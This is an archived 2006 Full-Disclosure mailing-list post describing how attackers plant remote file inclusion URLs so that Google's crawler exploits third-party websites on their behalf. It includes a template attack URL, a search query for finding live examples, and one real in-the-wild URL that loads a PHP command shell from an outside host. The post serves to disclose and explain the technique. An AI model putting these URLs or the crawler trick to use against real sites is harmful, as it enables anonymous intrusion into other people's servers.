[Full-disclosure] Anonymizing RFI Attacks Through Google

Noam Rathaus on using Google to anonymize attacks on websites:
http://blogs.securiteam.com/index.php/archives/746

Anonymizing RFI Attacks Through Google
noam - November 23, 2006 on 12:03 pm

Google can be utilized to hack into websites - actively exploiting them
(not information gathering by the use of "Google hacking", although that
is how most of the sites vulnerable to RFI attacks are found).

By placing a URL on any web page, Google will find it, visit it and then
index it. With this mechanism, it is possible to anonymize attacks on
third party web sites through Google by the use of its crawler.

PoC -
A malicious web page is constructed by an attacker, containing a URL built
like so:
1. Third party site URI to attack.
2. File inclusion exploit.
3. Second URI containing a malicious PHP shell.

Example URL:
http://victim-site/RFI-exploit?http://URI-with-malicious-code.php

Google will harvest this URL, visit the site using its crawler and index
it.
Meaning accessing the target site with the URL it was provided and
exploiting it unwittingly for whoever planted it. It's a feature, not a
bug.

This is currently exploited in the wild. For example, try searching Google
for:
inurl:cmd.gif

And note, as an example:
www.toomuchcookies.net/index.php?s=http:/%20/xpl.netmisphere2.com/CMD.gif?cmd
Which is no longer vulnerable.

Why use a botnet when one can abuse the Google crawler, which is allowed
on most web sites?

Notes:
1. This attack was verified on Google, but there is no reason why it
should not work with other search engines, web crawlers and web spiders.
2. File inclusions seem to tie in well with this attack anonymizer, but
there is no reason why others attack types can?t be used in a similar
fashion.
3. The feature might also be used to anonymize communication, as a covert
channel.

Noam Rathaus.
(with thanks to Gadi Evron and Lev Toger)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Relevant Pages

  • =?ISO-8859-1?Q?Re=3A_legal_statement_re_Panu_Petteri_H=F6glund?=
    ... Legal statement regarding Panu Petteri Höglund, ... I did a brief Google query on him and ... attacks me and attacks me, ... my Open Letter to the Google Company (re Panu ...
    (sci.lang)
  • RE: Penetration test of 1 IP address
    ... Google the site name, IP address, and any of the contact details. ... Audit your website security with Acunetix Web Vulnerability Scanner: ... Hackers are concentrating their efforts on attacking applications on your ... Up to 75% of cyber attacks are launched on shopping carts, forms, ...
    (Pen-Test)
  • [a.p] Google Reveals Chinese Espionage Efforts
    ... Google's threat to withdraw its operation from China has shed more light on a remarkably sophisticated computerized espionage network originating from the country, ... Last night Google announced that it would no longer participate in government censorship of the Chinese version of its site, Google.cn, and threatened to shut down its operations in China altogether. ... In a blog post, David Drummond, senior vice president of corporate development and chief legal officer at Google, wrote that the decision was taken in response to a series of Internet attacks against Google and other companies, as well as covert Internet surveillance of human-rights activists. ...
    (alt.privacy)
  • Re: Spam Filter Service
    ... Spam comment, on the other hand, is similar to SPAM. ... attacks, e.g. automated forums posts, subscriptions with links, Wiki spam) ... Neither the victim nor the hijacker can be trivially caught. ... Even Google has come to Microsoft's rescue, ...
    (alt.internet.search-engines)
  • Re: Ostrich
    ... I wonder if phagBlair will now pull his head out of the sand and stop insisting that our invasion of Afghanistan and Iraq have no bearing on UK terrrist attacks. ... Due to the very painful lack of quoting Google promotes, ...
    (uk.misc)